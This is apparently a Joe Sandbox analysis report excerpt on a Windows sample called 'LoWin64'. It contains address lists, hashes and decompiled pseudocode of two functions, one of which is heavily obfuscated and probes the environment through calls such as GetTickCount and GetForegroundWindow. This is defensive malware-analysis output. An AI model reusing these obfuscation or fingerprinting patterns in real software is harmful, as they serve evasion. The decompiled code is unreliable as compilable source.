0x7ff6b1cab973
0x7ff6b1cab975
0x7ff6b1cab977
0x7ff6b1cab979
0x7ff6b1cab97c
0x7ff6b1cab97e
0x7ff6b1cab981
0x7ff6b1cab984
0x7ff6b1cab987
0x7ff6b1cab98d
0x7ff6b1cab992
0x7ff6b1cab994
0x7ff6b1cab996
0x7ff6b1cab998
0x7ff6b1cab99b
0x7ff6b1cab99d
0x7ff6b1cab99f
0x7ff6b1cab9a1
0x7ff6b1cab9a6
0x7ff6b1cab9a8
0x7ff6b1cab9aa
0x7ff6b1cab9ac
0x7ff6b1cab9ae
0x7ff6b1cab9b1
0x7ff6b1cab9b3
0x7ff6b1cab9b6
0x7ff6b1cab9b8
0x7ff6b1cab9be
0x7ff6b1cab9c3
0x7ff6b1cab9c5
0x7ff6b1cab9c7
0x7ff6b1cab9c9
0x7ff6b1cab9cc
0x7ff6b1cab9ce
0x7ff6b1cab9d4
0x7ff6b1cab9d7
0x7ff6b1cab9d9
0x7ff6b1cab9db
0x7ff6b1cab9e0
0x7ff6b1cab9e2
0x7ff6b1cab9e4
0x7ff6b1cab9e6
0x7ff6b1cab9e9
0x7ff6b1cab9eb
0x7ff6b1cab9ee
0x7ff6b1cab9f0
0x7ff6b1cab9f6
0x7ff6b1cab9f8
0x7ff6b1cab9fd
0x7ff6b1cab9ff
0x7ff6b1caba01
0x7ff6b1caba03
0x7ff6b1caba06
0x7ff6b1caba08
0x7ff6b1caba0b
0x7ff6b1caba0d
0x7ff6b1caba13
0x7ff6b1caba19
0x7ff6b1caba1e
0x7ff6b1caba20
0x7ff6b1caba22
0x7ff6b1caba24
0x7ff6b1caba27
0x7ff6b1caba29
0x7ff6b1caba2f
0x7ff6b1caba32
0x7ff6b1caba38
0x7ff6b1caba3a
0x7ff6b1caba40
0x7ff6b1caba45
0x7ff6b1caba47
0x7ff6b1caba49
0x7ff6b1caba4b
0x7ff6b1caba4e
0x7ff6b1caba50
0x7ff6b1caba53
0x7ff6b1caba55
0x7ff6b1caba5a
0x7ff6b1caba5c
0x7ff6b1caba5e
0x7ff6b1caba60
0x7ff6b1caba63
0x7ff6b1caba65
0x7ff6b1caba68
0x7ff6b1caba6a
0x7ff6b1caba6c
0x7ff6b1caba72
0x7ff6b1caba77
0x7ff6b1caba79
0x7ff6b1caba7b
0x7ff6b1caba7d
0x7ff6b1caba80
0x7ff6b1caba82
0x7ff6b1caba85
0x7ff6b1caba88
0x7ff6b1caba8b
0x7ff6b1caba91
0x7ff6b1caba93
0x7ff6b1cabaa2
0x7ff6b1cabaa4
0x7ff6b1cabaa6
0x7ff6b1cabaa7
0x7ff6b1cabaa9
0x7ff6b1cabaac
0x7ff6b1cabaae
0x7ff6b1cabab1
0x7ff6b1cabab4
0x7ff6b1cabab9
0x7ff6b1cababf
0x7ff6b1cabac5
0x7ff6b1cabaca
0x7ff6b1cabacc
0x7ff6b1cabace
0x7ff6b1cabad0
0x7ff6b1cabad3
0x7ff6b1cabad5
0x7ff6b1cabad8
0x7ff6b1cabada
0x7ff6b1cabadd
0x7ff6b1cabadf
0x7ff6b1cabaee
0x7ff6b1cabaf5
0x7ff6b1cabaf7
0x7ff6b1cabaf8
0x7ff6b1cabafb
0x7ff6b1cabafd
0x7ff6b1cabb07
0x7ff6b1cabb10
0x7ff6b1cabb17
0x7ff6b1cabb19
0x7ff6b1cabb22
0x7ff6b1cabb24
0x7ff6b1cabb26
0x7ff6b1cabb29
0x7ff6b1cabb31
0x7ff6b1cabb36
0x7ff6b1cabb38
0x7ff6b1cabb3a
0x7ff6b1cabb3c
0x7ff6b1cabb3f
0x7ff6b1cabb41
0x7ff6b1cabb44
0x7ff6b1cabb46
0x7ff6b1cabb4b
0x7ff6b1cabb4d
0x7ff6b1cabb4f
0x7ff6b1cabb51
0x7ff6b1cabb54
0x7ff6b1cabb56
0x7ff6b1cabb59
0x7ff6b1cabb64
0x7ff6b1cabb67
0x7ff6b1cabb6d
0x7ff6b1cabb6f
0x7ff6b1cabb70
0x7ff6b1cabb73
0x7ff6b1cabb75
0x7ff6b1cabb7a
0x7ff6b1cabb7c
0x7ff6b1cabb7e
0x7ff6b1cabb80
0x7ff6b1cabb83
0x7ff6b1cabb85
0x7ff6b1cabb88
0x7ff6b1cabb8b
0x7ff6b1cabb8e
0x7ff6b1cabb9d
0x7ff6b1cabb9f
0x7ff6b1cabba1
0x7ff6b1cabba2
0x7ff6b1cabba4
0x7ff6b1cabba7
0x7ff6b1cabba9
0x7ff6b1cabbac
0x7ff6b1cabbae
0x7ff6b1cabbb3
0x7ff6b1cabbb5
0x7ff6b1cabbb7
0x7ff6b1cabbb9
0x7ff6b1cabbbc
0x7ff6b1cabbbe
0x7ff6b1cabbc1
0x7ff6b1cabbc3
0x7ff6b1cabbcb
0x7ff6b1cabbd0
0x7ff6b1cabbd2
0x7ff6b1cabbd4
0x7ff6b1cabbd6
0x7ff6b1cabbd9
0x7ff6b1cabbdb
0x7ff6b1cabbde
0x7ff6b1cabbe1
0x7ff6b1cabbe4
0x7ff6b1cabbec
0x7ff6b1cabbf2
0x7ff6b1cabbf5
0x7ff6b1cabbf7
0x7ff6b1cabbfc
0x7ff6b1cabbfe
0x7ff6b1cabc00
0x7ff6b1cabc02
0x7ff6b1cabc05
0x7ff6b1cabc07
0x7ff6b1cabc0a
0x7ff6b1cabc0c
0x7ff6b1cabc11
0x7ff6b1cabc13
0x7ff6b1cabc15
0x7ff6b1cabc17
0x7ff6b1cabc1a
0x7ff6b1cabc1c
0x7ff6b1cabc22
0x7ff6b1cabc25
0x7ff6b1cabc27
0x7ff6b1cabc2c
0x7ff6b1cabc2e
0x7ff6b1cabc30
0x7ff6b1cabc32
0x7ff6b1cabc35
0x7ff6b1cabc37
0x7ff6b1cabc3a
0x7ff6b1cabc3c
0x7ff6b1cabc43
0x7ff6b1cabc45
0x7ff6b1cabc4a
0x7ff6b1cabc4c
0x7ff6b1cabc4e
0x7ff6b1cabc50
0x7ff6b1cabc53
0x7ff6b1cabc55
0x7ff6b1cabc5b
0x7ff6b1cabc5e
0x7ff6b1cabc64
0x7ff6b1cabc6a
0x7ff6b1cabc73
0x7ff6b1cabc75
0x7ff6b1cabc77
0x7ff6b1cabc7a
0x7ff6b1cabc7c
0x7ff6b1cabc85
0x7ff6b1cabc8b
0x7ff6b1cabc8d
0x7ff6b1cabc91
0x7ff6b1cabc93
0x7ff6b1cabc95
0x7ff6b1cabc9b
0x7ff6b1cabca7
0x7ff6b1cabcae
0x7ff6b1cabcb9
0x7ff6b1cabcbc
0x7ff6b1cabcbe
0x7ff6b1cabcc0
0x7ff6b1cabcc3
0x7ff6b1cabcc5
0x7ff6b1cabcc8
0x7ff6b1cabcca
0x7ff6b1cabccc
0x7ff6b1cabcd2
0x7ff6b1cabcd5
0x7ff6b1cabcd7
0x7ff6b1cabcdd
0x7ff6b1cabce3
0x7ff6b1cabce8
0x7ff6b1cabceb
0x7ff6b1cabcf4
0x7ff6b1cabcf5
0x7ff6b1cabcf7
0x7ff6b1cabcf9
0x7ff6b1cabcfb
0x7ff6b1cabd03
0x7ff6b1cabd07
0x7ff6b1cabd0b
0x7ff6b1cabd0f
0x7ff6b1cabd11
0x7ff6b1cabd16
0x7ff6b1cabd18
0x7ff6b1cabd1a
0x7ff6b1cabd1c
0x7ff6b1cabd1e
0x7ff6b1cabd20
0x7ff6b1cabd23
0x7ff6b1cabd25
0x7ff6b1cabd2a
0x7ff6b1cabd2c
0x7ff6b1cabd2e
0x7ff6b1cabd30
0x7ff6b1cabd32
0x7ff6b1cabd34
0x7ff6b1cabd37
0x7ff6b1cabd39
0x7ff6b1cabd3e
0x7ff6b1cabd40
0x7ff6b1cabd42
0x7ff6b1cabd44
0x7ff6b1cabd46
0x7ff6b1cabd48
0x7ff6b1cabd4b
0x7ff6b1cabd4d
0x7ff6b1cabd53
0x7ff6b1cabd58
0x7ff6b1cabd5a
0x7ff6b1cabd5c
0x7ff6b1cabd5e
0x7ff6b1cabd60
0x7ff6b1cabd62
0x7ff6b1cabd65
0x7ff6b1cabd68
0x7ff6b1cabd6b
0x7ff6b1cabd71
0x7ff6b1cabd73
0x7ff6b1cabd7a
0x7ff6b1cabd7f
0x7ff6b1cabd81
0x7ff6b1cabd83
0x7ff6b1cabd85
0x7ff6b1cabd87
0x7ff6b1cabd89
0x7ff6b1cabd8d
0x7ff6b1cabd90
0x7ff6b1cabd94
0x7ff6b1cabd98
0x7ff6b1cabd9b
0x7ff6b1cabda1
0x7ff6b1cabda6
0x7ff6b1cabda8
0x7ff6b1cabdaa
0x7ff6b1cabdac
0x7ff6b1cabdae
0x7ff6b1cabdb0
0x7ff6b1cabdb3
0x7ff6b1cabdb5
0x7ff6b1cabdba
0x7ff6b1cabdbc
0x7ff6b1cabdbe
0x7ff6b1cabdc0
0x7ff6b1cabdc2
0x7ff6b1cabdc4
0x7ff6b1cabdc7
0x7ff6b1cabdca
0x7ff6b1cabdcd
0x7ff6b1cabdd3
0x7ff6b1cabdd5
0x7ff6b1cabddb
0x7ff6b1cabde0
0x7ff6b1cabde2
0x7ff6b1cabde4
0x7ff6b1cabde6
0x7ff6b1cabde8
0x7ff6b1cabdea
0x7ff6b1cabdf2
0x7ff6b1cabdf6
0x7ff6b1cabdfa
0x7ff6b1cabdfe
0x7ff6b1cabe00
0x7ff6b1cabe02
0x7ff6b1cabe07
0x7ff6b1cabe09
0x7ff6b1cabe0b
0x7ff6b1cabe0d
0x7ff6b1cabe0f
0x7ff6b1cabe11
0x7ff6b1cabe14
0x7ff6b1cabe16
0x7ff6b1cabe1b
0x7ff6b1cabe1d
0x7ff6b1cabe1f
0x7ff6b1cabe21
0x7ff6b1cabe23
0x7ff6b1cabe25
0x7ff6b1cabe28
0x7ff6b1cabe2b
0x7ff6b1cabe2e
0x7ff6b1cabe3d
0x7ff6b1cabe42
0x7ff6b1cabe48
0x7ff6b1cabe4d
0x7ff6b1cabe52
0x7ff6b1cabe54
0x7ff6b1cabe56
0x7ff6b1cabe5a
0x7ff6b1cabe5d
0x7ff6b1cabe5f
0x7ff6b1cabe68
0x7ff6b1cabe69
0x7ff6b1cabe6b
0x7ff6b1cabe71
0x7ff6b1cabe7a
0x7ff6b1cabe7c
0x7ff6b1cabe7e
0x7ff6b1cabe81
0x7ff6b1cabe83
0x7ff6b1cabe89
0x7ff6b1cabe92
0x7ff6b1cabe97
0x7ff6b1cabe99
0x7ff6b1cabe9b
0x7ff6b1cabe9b
0x7ff6b1cabe9c
0x7ff6b1cabea4
0x7ff6b1cabeaa
0x7ff6b1cabead
0x7ff6b1cabeaf
0x7ff6b1cabeb1
0x7ff6b1cabeb7
0x7ff6b1cabec5
0x7ff6b1cabec7
0x7ff6b1cabeca
0x7ff6b1cabecc
0x7ff6b1cabecf
0x7ff6b1cabedb
0x7ff6b1cabedc
0x7ff6b1cabedf

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 156a7a341ad69075e0a7598a955d24fa119bed50f771b50bbb2080525ebbde42
Instruction ID: 7500c6c70abf01bb15dd40a1d8aa0d62437db2c264d6936d426ed84a237a952b
Opcode Fuzzy Hash: 156a7a341ad69075e0a7598a955d24fa119bed50f771b50bbb2080525ebbde42
Instruction Fuzzy Hash: E1518EA3D2C947B6FB166B3CA8092BC52A17F2174DF640735D71ED629ACF3CB0868241

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CB74D0 Relevance: 9.1, APIs: 6, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6B1CB7523
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6B1CB753E
RtlVirtualUnwind.KERNEL32 ref: 00007FF6B1CB7583
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6B1CB75A3
RtlRestoreContext.KERNEL32 ref: 00007FF6B1CB75E0
RaiseException.KERNEL32 ref: 00007FF6B1CB7622

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: ContextEntryFunctionLookup$CaptureExceptionRaiseRestoreUnwindVirtual
String ID:
API String ID: 2358177407-0
Opcode ID: 456057b2990a0b40a4c1c9a1a32a98953dbec407a0ae08d884372f6660334975
Instruction ID: 2ae99a7b661c816d08e497e785d244c81e8563de83d9e98ba19997b3b7723206
Opcode Fuzzy Hash: 456057b2990a0b40a4c1c9a1a32a98953dbec407a0ae08d884372f6660334975
Instruction Fuzzy Hash: 8E310832618B8592EB608F19F4447EAB361FBC8744F684536DB8E83A94DF3DD549CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7E1F Relevance: 7.7, APIs: 5, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00007FF67FF6B1CA7E1F(void* __eax, void* __edi, void* __ebp, void* __rdx, intOrPtr _a32, intOrPtr _a144, void* _a152, signed int _a160, signed long long _a168) {
				signed int _t111;
				void* _t133;
				signed int _t176;
				signed int _t193;
				signed int _t195;
				void* _t204;
				void* _t208;
				void* _t209;
				void* _t213;
				signed int _t231;
				void* _t242;
				void* _t245;
				void* _t246;
				void* _t248;
				void* _t256;
				void* _t257;
				void* _t259;
				void* _t271;
				void* _t274;
				void* _t277;
				void* _t285;
				void* _t288;
				void* _t295;
				void* _t298;
				void* _t301;
				void* _t304;
				void* _t307;
				void* _t310;
				void* _t313;
				void* _t316;
				void* _t319;
				void* _t322;
				void* _t325;
				void* _t328;
				void* _t331;
				void* _t334;
				void* _t337;
				void* _t340;
				void* _t343;
				void* _t346;
				void* _t349;
				void* _t352;
				void* _t355;
				void* _t358;
				void* _t361;
				signed long long _t364;
				void* _t367;
				signed long long _t372;
				void* _t375;
				void* _t378;
				void* _t381;
				void* _t384;
				void* _t387;
				void* _t396;
				void* _t399;
				void* _t402;
				void* _t405;
				void* _t408;
				void* _t411;
				void* _t414;
				void* _t420;
				void* _t425;
				signed long long _t432;
				signed long long _t444;
				void* _t447;
				signed long long _t450;
				void* _t456;

				_t274 = (_t271 - _t450 | _t444) + _t450;
				_t208 = _t274 - 0x30;
				if (_t208 != 0) goto 0xb1ca7e30;
				GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4(_t274);
				if (_t208 >= 0) goto 0xb1ca7e53;
				_t277 = (_t274 - _t450 | _t444) + _t450;
				_t209 = _t277 - 0x79;
				 *0xb1decf60 = _t432;
				E00007FF67FF6B1D3ACF4(_t277);
				if (_t209 >= 0) goto 0xb1ca7e72;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = (_t277 - _t450 | _t444) + _t450;
				E00007FF67FF6B1D3ACF4((_t277 - _t450 | _t444) + _t450);
				if (_t209 >= 0) goto 0xb1ca7e9a;
				 *0xb1decf60 = _t432;
				asm("adc al, 0x0");
				_t285 = 0x15 + _t450;
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(_t285);
				if (0x15 - 0x18 >= 0) goto 0xb1ca7ecb;
				_t288 = (_t285 - _t450 | _t444) + _t450;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(_t288);
				if (0x15 - 0x4e >= 0) goto 0xb1ca7ee0;
				_t213 = (_t288 - _t450 | _t444) + _t450 - 0x65;
				if (_t213 > 0) goto 0xb1ca7f1b;
				if (_t213 == 0) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68);
				if (_t213 >= 0) goto 0xb1ca7f07;
				_t295 = (0x00000068 - _t450 | _t444) + _t450;
				 *0xb1decf60 = _t432;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(_t295);
				if (0x68 - 0x65 >= 0) goto 0xb1ca7f2b;
				_t298 = (_t295 - _t450 | _t444) + _t450;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				if ((E00007FF67FF6B1D3ACF4(_t298) & r14d) >= 0) goto 0xb1ca7f44;
				_t301 = (_t298 - _t450 | _t444) + _t450;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(_t301) & r14d) >= 0) goto 0xb1ca7f59;
				_t304 = (_t301 - _t450 | _t444) + _t450;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(_t304) & r14d) >= 0) goto 0xb1ca7f76;
				_t307 = (_t304 - _t450 | _t444) + _t450;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t307);
				if (0x68 - 0x15 >= 0) goto 0xb1ca7f94;
				_t310 = (_t307 - _t450 | _t444) + _t450;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t310) & r14d) >= 0) goto 0xb1ca7fa9;
				_t313 = (_t310 - _t450 | _t444) + _t450;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t313);
				if (0x68 - 0x13 >= 0) goto 0xb1ca7fc2;
				_t316 = (_t313 - _t450 | _t444) + _t450;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x68 - 0x13 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t316) & r14d) >= 0) goto 0xb1ca7fec;
				_t319 = (_t316 - _t450 | _t444) + _t450;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t319) & r14d) >= 0) goto 0xb1ca8005;
				_t322 = (_t319 - _t450 | _t444) + _t450;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t322) & r14d) >= 0) goto 0xb1ca8020;
				_t325 = (_t322 - _t450 | _t444) + _t450;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t325);
				_t231 = E00007FF67FF6B1D3ACF4(_t325) & r14d;
				if (_t231 >= 0) goto 0xb1ca8046;
				_t328 = (_t325 - _t450 | _t444) + _t450;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t231 != 0) goto 0xb1ca805e;
				if (_t231 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t450;
				E00007FF67FF6B1D3ACF4(_t328);
				if (_t231 >= 0) goto 0xb1ca807a;
				_t331 = (_t328 - _t450 | _t444) + _t450;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t331);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80a0;
				_t334 = (_t331 - _t450 | _t444) + _t450;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t334);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80d1;
				_t337 = (_t334 - _t450 | _t444) + _t450;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t337);
				if (0x68 - 0x13 >= 0) goto 0xb1ca80f7;
				_t340 = (_t337 - _t450 | _t444) + _t450;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t340);
				if (0x68 - 0x3f >= 0) goto 0xb1ca810c;
				_t343 = (_t340 - _t450 | _t444) + _t450;
				_t193 = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t343) & r14d) >= 0) goto 0xb1ca812d;
				_t346 = (_t343 - _t450 | _t444) + _t450;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t346) & r14d) >= 0) goto 0xb1ca8142;
				_t349 = (_t346 - _t450 | _t444) + _t450;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				_t111 = E00007FF67FF6B1D3ACF4(_t349);
				_t112 = _t111 & r14d;
				if ((_t111 & r14d) >= 0) goto 0xb1ca8157;
				_t352 = (_t349 - _t450 | _t444) + _t450;
				r8d = r15d;
				r8b = _t352 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d = _a32;
				r8d = _a160;
				E00007FF67FF6B1CB41F0(_t112, _t204, _t425, _a144, _t447); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t193, _t425, 0, _t352, _t456), _t204, _a144);
				 *0xb1decf60 = _t450;
				E00007FF67FF6B1D3ACF4(_t352);
				E00007FF67FF6B1D3ACF4(_t352);
				asm("push es");
				_t355 = (_t352 - _t450 | 0xffffff80) + _t450;
				asm("movsd xmm6, [0x11694a]");
				_t242 = _t355 - 5;
				if (_t242 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t355);
				if (_t242 >= 0) goto 0xb1ca81e3;
				_t358 = (_t355 - _t450 | 0xffffff80) + _t450;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t242 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t358);
				if (_t242 >= 0) goto 0xb1ca820e;
				_t361 = (_t358 - _t450 | 0xffffff80) + _t450;
				if (_t361 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t361);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t364 = (_t361 - _t450 | 0xffffff80) + _t450;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t364;
				 *0xb1decf60 = _t450;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t245 = r12d - 0x42;
				if (_t245 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t364);
				if (_t245 >= 0) goto 0xb1ca8274;
				_t367 = (_t364 - _t450 | 0xffffff80) + _t450;
				_t246 = _t367 - 0x2e;
				if (_t246 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t367);
				if (_t246 >= 0) goto 0xb1ca828f;
				_t195 = r15d & 0xffffff00 | (_t367 - _t450 | 0xffffff80) + _t450 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t133 = E00007FF67FF6B1D3ACF4((_t367 - _t450 | 0xffffff80) + _t450);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t195;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t195;
				 *0x6b =  *0x6b + _t133;
				_t372 = _a168 + _t450;
				_a168 = _t372;
				 *0xb1decf60 = _t372;
				_t248 = _t372 - 0x1f;
				if (_t248 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t450;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t372 =  *_t372 | _t372;
				if (_t248 >= 0) goto 0xb1ca8308;
				_t375 = (_t372 - _t450 | 0xffffff80) + _t450;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t248 != 0) goto 0xb1ca8318;
				if (_t248 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t375) & r14d) >= 0) goto 0xb1ca8333;
				_t378 = (_t375 - _t450 | 0xffffff80) + _t450;
				if (_t378 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t378) & r14d) >= 0) goto 0xb1ca835e;
				_t381 = (_t378 - _t450 | 0xffffff80) + _t450;
				if (_t381 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t381);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t384 = (_t381 - _t450 | 0xffffff80) + _t450;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t384);
				if (_t384 - 0x34 >= 0) goto 0xb1ca8397;
				_t387 = (_t384 - _t450 | 0xffffff80) + _t450;
				_t256 = _t387 - 0x1f;
				if (_t256 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t387);
				if (_t256 >= 0) goto 0xb1ca83ac;
				_t257 = (_t387 - _t450 | 0xffffff80) + _t450 - 4;
				if (_t257 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t387 - _t450 | 0xffffff80) + _t450);
				if (_t257 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t259 = r13d - 0x54;
				if (_t259 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t259 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t450;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t450;
				IsIconic(??);
				asm("adc al, 0x0");
				_t396 = 0x50 + _t450;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t396);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t399 = (_t396 - _t450 | 0xffffff80) + _t450;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t399);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t402 = (_t399 - _t450 | 0xffffff80) + _t450;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t402);
				E00007FF67FF6B1D3ACF4(_t402);
				E00007FF67FF6B1D3ACF4(_t402);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t405 = (_t402 - _t450 | 0xffffff80) + _t450;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t450;
				E00007FF67FF6B1D3ACF4(_t405);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
